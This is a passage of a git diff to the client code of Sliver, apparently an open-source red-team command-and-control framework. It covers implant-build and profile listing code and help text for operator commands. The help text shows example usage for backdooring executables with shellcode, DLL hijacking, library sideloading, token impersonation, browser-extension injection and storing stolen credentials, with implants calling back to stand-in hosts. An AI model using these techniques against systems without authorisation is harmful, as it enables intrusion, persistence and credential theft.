func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(builders.Builders) < 1 {
return []*clientpb.Builder{}, ErrNoExternalBuilder
}
validBuilders := []*clientpb.Builder{}
for _, builder := range builders.Builders {
for _, target := range builder.Targets {
if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
validBuilders = append(validBuilders, builder)
break
}
}
}
if len(validBuilders) < 1 {
return []*clientpb.Builder{}, ErrNoValidBuilders
}
return validBuilders, nil
}
func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
choices := []string{}
for _, builder := range builders {
choices = append(choices, builder.Name)
}
choice := ""
prompt := &survey.Select{
Message: "Select an external builder:",
Options: choices,
}
survey.AskOne(prompt, &choice, nil)
for _, builder := range builders {
if builder.Name == choice {
return builder, nil
}
}
return nil, ErrNoValidBuilders
}
+1 -19
View File
@@ -2,9 +2,7 @@ package generate
import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
@@ -12,24 +10,8 @@ import (
// ImplantsRmCmd - Deletes an archived implant build from the server
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("No name specified\n")
return
}
build := ImplantBuildByName(name, con)
if build == nil {
con.PrintErrorf("No implant build found with name '%s'\n", name)
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
Name: name,
Name: ctx.Args.String("implant-name"),
})
if err != nil {
con.PrintErrorf("Failed to delete implant %s\n", err)
+38 -120
View File
@@ -19,29 +19,19 @@ package generate
*/
import (
"bytes"
"context"
"fmt"
"sort"
"io"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// ImplantBuildFilter - Filter implant builds
type ImplantBuildFilter struct {
GOOS string
GOARCH string
Beacon bool
Session bool
Format string
Debug bool
}
// ImplantsCmd - Displays archived implant builds
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
@@ -49,123 +39,51 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
implantBuildFilters := ImplantBuildFilter{}
if 0 < len(builds.Configs) {
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
displayAllImplantBuilds(con.App.Stdout(), builds.Configs)
} else {
con.PrintInfof("No implant builds\n")
}
}
// PrintImplantBuilds - Print the implant builds on the server
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Implant Type",
"Template",
"OS/Arch",
"Format",
"Command & Control",
"Debug",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
func displayAllImplantBuilds(stdout io.Writer, configs map[string]*clientpb.ImplantConfig) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("OS/Arch")),
strings.Repeat("=", len("Debug")),
strings.Repeat("=", len("Format")),
strings.Repeat("=", len("Command & Control")),
)
for sliverName, config := range configs {
if filters.GOOS != "" && config.GOOS != filters.GOOS {
continue
if 0 < len(config.C2) {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
sliverName,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
fmt.Sprintf("%v", config.Debug),
config.Format,
fmt.Sprintf("[1] %s", config.C2[0].URL),
)
}
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
continue
if 1 < len(config.C2) {
for index, c2 := range config.C2[1:] {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
"",
"",
"",
"",
fmt.Sprintf("[%d] %s", index+2, c2.URL),
)
}
}
if filters.Beacon && !config.IsBeacon {
continue
}
if filters.Session && config.IsBeacon {
continue
}
if filters.Debug && config.Debug {
continue
}
if filters.Format != "" && (!strings.EqualFold(config.Format.String(), filters.Format) ||
!strings.HasPrefix(strings.ToLower(config.Format.String()), strings.ToLower(filters.Format))) {
continue
}
implantType := "session"
if config.IsBeacon {
implantType = "beacon"
}
c2URLs := []string{}
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
if config.TemplateName == "" {
config.TemplateName = "sliver"
}
tw.AppendRow(table.Row{
sliverName,
implantType,
config.TemplateName,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
config.Format,
strings.Join(c2URLs, "\n"),
fmt.Sprintf("%v", config.Debug),
})
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
}
con.Println(tw.Render())
}
// ImplantBuildNameCompleter - Completer for implant build names
func ImplantBuildNameCompleter(prefix string, args []string, filters ImplantBuildFilter, con *console.SliverConsoleClient) []string {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return []string{}
}
results := []string{}
for name, config := range builds.Configs {
if filters.GOOS != "" && config.GOOS != filters.GOOS {
continue
}
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
continue
}
if filters.Beacon && !config.IsBeacon {
continue
}
if filters.Session && config.IsBeacon {
continue
}
if filters.Debug && config.Debug {
continue
}
if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
continue
}
if strings.HasPrefix(name, prefix) {
results = append(results, name)
}
}
sort.StringSlice(results).Sort()
return results
}
// ImplantBuildByName - Get an implant build by name
func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return nil
}
for sliverName, build := range builds.Configs {
if sliverName == name {
return build
}
}
return nil
table.Flush()
fmt.Fprintf(stdout, "%s", outputBuf.String())
}
+2 -2
View File
@@ -30,9 +30,9 @@ import (
// ProfilesGenerateCmd - Generate an implant binary based on a profile
func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
name := ctx.Flags.String("name")
if name == "" {
con.PrintErrorf("No profile name specified\n")
con.PrintErrorf("no profile selected")
return
}
save := ctx.Flags.String("save")
+3 -45
View File
@@ -1,22 +1,5 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
@@ -27,40 +10,15 @@ import (
// ProfilesNewCmd - Create a new implant profile
func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
profile := &clientpb.ImplantProfile{
Name: name,
Config: config,
}
resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved new implant profile %s\n", resp.Name)
}
}
// ProfilesNewBeaconCmd - Create a new beacon profile
func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
name := ctx.Flags.String("profile-name")
if name == "" {
con.PrintErrorf("No profile name specified\n")
con.PrintErrorf("Invalid profile name\n")
return
}
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
config.IsBeacon = true
err := parseBeaconFlags(ctx, con, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
profile := &clientpb.ImplantProfile{
Name: name,
Config: config,
@@ -69,6 +27,6 @@ func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
con.PrintInfof("Saved new profile %s\n", resp.Name)
}
}
+1 -37
View File
@@ -1,28 +1,8 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
@@ -30,24 +10,8 @@ import (
// ProfilesRmCmd - Delete an implant profile
func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("No profile name specified\n")
return
}
profile := GetImplantProfileByName(name, con)
if profile == nil {
con.PrintErrorf("No profile found with name '%s'\n", name)
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
Name: name,
Name: ctx.Args.String("profile-name"),
})
if err != nil {
con.PrintErrorf("Failed to delete profile %s\n", err)
+47 -65
View File
@@ -21,15 +21,15 @@ package generate
import (
"context"
"fmt"
"os"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// ProfilesCmd - Display implant profiles
@@ -39,75 +39,72 @@ func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if len(profiles) == 0 {
con.PrintInfof("No profiles, see `%s %s help`\n", consts.ProfilesStr, consts.NewStr)
con.PrintInfof("No profiles, create one with `%s`\n", consts.NewStr)
return
} else {
PrintProfiles(profiles, con)
}
}
// PrintProfiles - Print the profiles
func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Profile Name",
"Implant Type",
"Platform",
"Command & Control",
"Debug",
"Format",
"Obfuscation",
"Limitations",
})
tw.SortBy([]table.SortBy{
{Name: "Profile Name", Mode: table.Asc},
})
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Platform")),
strings.Repeat("=", len("Command & Control")),
strings.Repeat("=", len("Debug")),
strings.Repeat("=", len("Format")),
strings.Repeat("=", len("Obfuscation")),
strings.Repeat("=", len("Limitations")),
)
for _, profile := range profiles {
config := profile.Config
obfuscation := "disabled"
if config.ObfuscateSymbols {
obfuscation = "enabled"
if 0 < len(config.C2) {
obfuscation := "strings only"
if config.ObfuscateSymbols {
obfuscation = "symbols obfuscation"
}
if config.Debug {
obfuscation = "none"
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
profile.Name,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
fmt.Sprintf("[1] %s", config.C2[0].URL),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf("%v", config.Format),
obfuscation,
getLimitsString(config),
)
}
implantType := "session"
if config.IsBeacon {
implantType = "beacon"
if 1 < len(config.C2) {
for index, c2 := range config.C2[1:] {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"",
"",
fmt.Sprintf("[%d] %s", index+2, c2.URL),
"",
"",
"",
"",
)
}
}
c2URLs := []string{}
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
tw.AppendRow(table.Row{
profile.Name,
implantType,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
strings.Join(c2URLs, "\n"),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf("%v", config.Format),
obfuscation,
getLimitsString(config),
})
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
}
con.Printf("%s\n", tw.Render())
table.Flush()
}
func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Error %s", err)
return nil
}
return pbProfiles.Profiles
}
// GetImplantProfileByName - Get an implant profile by a specific name
func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Error %s", err)
return nil
}
for _, profile := range pbProfiles.Profiles {
@@ -117,18 +114,3 @@ func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *cli
}
return nil
}
// ProfileNameCompleter - Completer for implant build names
func ProfileNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
return []string{}
}
results := []string{}
for _, profile := range pbProfiles.Profiles {
if strings.HasPrefix(profile.Name, prefix) {
results = append(results, profile.Name)
}
}
return results
}
+2 -1
View File
@@ -20,6 +20,7 @@ package generate
import (
"context"
"io/ioutil"
"os"
"github.com/bishopfox/sliver/client/console"
@@ -50,7 +51,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to %s\n", err)
return
+2 -7
View File
@@ -46,7 +46,7 @@ func printHelp(con *console.SliverConsoleClient) {
for _, c := range con.App.Commands().All() {
key := c.HelpGroup
targetOS := ""
session, beacon := con.ActiveTarget.Get()
session, beacon := con.ActiveTarget.GetInteractive()
if session != nil {
targetOS = session.OS
} else if beacon != nil {
@@ -57,7 +57,7 @@ func printHelp(con *console.SliverConsoleClient) {
continue
}
} else {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.AliasHelpGroup || key == consts.ExtensionHelpGroup {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
continue
}
}
@@ -97,13 +97,8 @@ func printHelp(con *console.SliverConsoleClient) {
con.Println()
printHeadline(con.App.Config(), headline, con)
con.Printf("%s\n", columnize.Format(output, config))
con.Println()
}
}
con.Println()
con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
con.Println()
}
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
+31 -568
View File
@@ -28,7 +28,6 @@ import (
"strings"
"text/template"
"github.com/bishopfox/sliver/client/command/creds"
consts "github.com/bishopfox/sliver/client/constants"
)
@@ -72,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.LoadMacroStr: loadMacrosHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -85,7 +84,6 @@ var (
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
consts.PivotsStr: pivotsHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
@@ -96,10 +94,6 @@ var (
// Loot
consts.LootStr: lootHelp,
// Creds
consts.CredsStr: credsHelp,
consts.CredsStr + sep + consts.AddStr: credsAddHelp,
consts.CredsStr + sep + consts.AddStr + sep + consts.FileStr: credsAddFileHelp,
// Profiles
consts.ProfilesStr + sep + consts.NewStr: newProfileHelp,
consts.ProfilesStr + sep + consts.GenerateStr: generateProfileHelp,
@@ -108,11 +102,6 @@ var (
consts.ReactionStr: reactionHelp,
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
// Builders
consts.BuildersStr: buildersHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -214,20 +203,20 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with "profiles generate":
profiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name
profiles generate my-profile-name
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
generate-profile mtls-profile
`
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
@@ -289,26 +278,7 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit downloads to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
download /etc/*.conf will download all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Downloads can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
[[.Bold]]About:[[.Normal]] Download a file from the remote system.`
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
@@ -375,8 +345,8 @@ Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
Sideload a Linux shared library into a new bash process using LD_PRELOAD:
sideload -p /bin/bash /tmp/mylib.so
Sideload a Windows DLL as shellcode in a new process using Donut, specifying the entrypoint and its arguments:
sideload -e MyEntryPoint /tmp/mylib.dll "argument to the function MyEntryPoint"
Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
[[.Bold]]Remarks:[[.Normal]]
Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process
@@ -400,7 +370,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
@@ -472,7 +442,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -512,11 +482,6 @@ When using the binary type, you must either:
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
regDeleteKeyHelp = `[[.Bold]]Command:[[.Normal]] registry delete PATH [name]
[[.Bold]]About:[[.Normal]] Remove a value from the windows registry
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
[[.Bold]]Examples:[[.Normal]]
@@ -584,11 +549,18 @@ ssh -l ubuntu ec2-instance ps aux
lootHelp = `[[.Bold]]Command:[[.Normal]] loot
[[.Bold]]About:[[.Normal]] Store and share loot between operators.
A piece of loot is a file, that can be one of two loot types: text or binary.
A piece of loot can be one of two loot types: a file or a credential.
Sliver will attempt to detect the type of file automatically or you can specify a file type with
--file-type. You can add local files as loot using the "local" sub-command, or you can add files
from a session using the "remote" sub-command.
[[.Bold]]File Loot[[.Normal]]
A file can be binary or text, Sliver will attempt to detect the type of file automatically or you can specify
a file type with --file-type. You can add local files as loot using the "local" sub-command, or you can add
files from a session using the "remote" sub-command.
[[.Bold]]Credential Loot[[.Normal]]
Credential loot can be a user/password combination, an API key, or a file. You can add user/password and API
keys using the "creds" sub-command. To add credential files use either the "local" or "remote" sub-commands
with a "--type cred" flag (note the distinction between loot type --type, and file type --file-type). You can
additionally specify a --file-type (binary or text) as you would normally.
[[.Bold]]Examples:[[.Normal]]
@@ -598,6 +570,12 @@ loot local ./foo.txt
# Adding a remote file from the active session:
loot remote C:/foo.txt
# Adding a remote file as a credential from the active session:
loot remote --type cred id_rsa
# Display only credentials:
loot --filter creds
# Display the contents of a piece of loot:
loot fetch
`
@@ -673,8 +651,8 @@ supplied with the --profile flag.
# Use a local DLL for a hijack
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
# Use a Sliver generated DLL for the hijack
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
@@ -684,521 +662,6 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
If no extension is specified, Sliver will enumerate all installed extensions, extract their
permissions and determine a valid target for injection. For Cursed Chrome to work properly
the target extension must have either of these two sets of permissions:
1. "webRequest" "webRequestBlocking" "<all_urls>"
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
More information: https://github.com/mandatoryprogrammer/CursedChrome
`
buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
External builders allow the Sliver server offload implant builds onto external machines.
For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
`
credsHelp = `[[.Bold]]Command:[[.Normal]] creds
[[.Bold]]About:[[.Normal]] Manage credentials database.
`
credsAddHelp = `[[.Bold]]Command:[[.Normal]] creds add
[[.Bold]]About:[[.Normal]] Add a credential to the database
[[.Bold]]Hash Types:[[.Normal]]
Sliver uses the same hash identifiers as Hashcat (use the #):
# | Name | Category
======+============================================================+======================================
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
100 | SHA1 | Raw Hash
1300 | SHA2-224 | Raw Hash
1400 | SHA2-256 | Raw Hash
10800 | SHA2-384 | Raw Hash
1700 | SHA2-512 | Raw Hash
17300 | SHA3-224 | Raw Hash
17400 | SHA3-256 | Raw Hash
17500 | SHA3-384 | Raw Hash
17600 | SHA3-512 | Raw Hash
6000 | RIPEMD-160 | Raw Hash
600 | BLAKE2b-512 | Raw Hash
11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian | Raw Hash
11800 | GOST R 34.11-2012 (Streebog) 512-bit, big-endian | Raw Hash
6900 | GOST R 34.11-94 | Raw Hash
17010 | GPG (AES-128/AES-256 (SHA-1($pass))) | Raw Hash
5100 | Half MD5 | Raw Hash
17700 | Keccak-224 | Raw Hash
17800 | Keccak-256 | Raw Hash
17900 | Keccak-384 | Raw Hash
18000 | Keccak-512 | Raw Hash
6100 | Whirlpool | Raw Hash
10100 | SipHash | Raw Hash
70 | md5(utf16le($pass)) | Raw Hash
170 | sha1(utf16le($pass)) | Raw Hash
1470 | sha256(utf16le($pass)) | Raw Hash
10870 | sha384(utf16le($pass)) | Raw Hash
1770 | sha512(utf16le($pass)) | Raw Hash
610 | BLAKE2b-512($pass.$salt) | Raw Hash salted and/or iterated
620 | BLAKE2b-512($salt.$pass) | Raw Hash salted and/or iterated
10 | md5($pass.$salt) | Raw Hash salted and/or iterated
20 | md5($salt.$pass) | Raw Hash salted and/or iterated
3800 | md5($salt.$pass.$salt) | Raw Hash salted and/or iterated
3710 | md5($salt.md5($pass)) | Raw Hash salted and/or iterated
4110 | md5($salt.md5($pass.$salt)) | Raw Hash salted and/or iterated
4010 | md5($salt.md5($salt.$pass)) | Raw Hash salted and/or iterated
21300 | md5($salt.sha1($salt.$pass)) | Raw Hash salted and/or iterated
40 | md5($salt.utf16le($pass)) | Raw Hash salted and/or iterated
2600 | md5(md5($pass)) | Raw Hash salted and/or iterated
3910 | md5(md5($pass).md5($salt)) | Raw Hash salted and/or iterated
3500 | md5(md5(md5($pass))) | Raw Hash salted and/or iterated
4400 | md5(sha1($pass)) | Raw Hash salted and/or iterated
4410 | md5(sha1($pass).$salt) | Raw Hash salted and/or iterated
20900 | md5(sha1($pass).md5($pass).sha1($pass)) | Raw Hash salted and/or iterated
21200 | md5(sha1($salt).md5($pass)) | Raw Hash salted and/or iterated
4300 | md5(strtoupper(md5($pass))) | Raw Hash salted and/or iterated
30 | md5(utf16le($pass).$salt) | Raw Hash salted and/or iterated
110 | sha1($pass.$salt) | Raw Hash salted and/or iterated
120 | sha1($salt.$pass) | Raw Hash salted and/or iterated
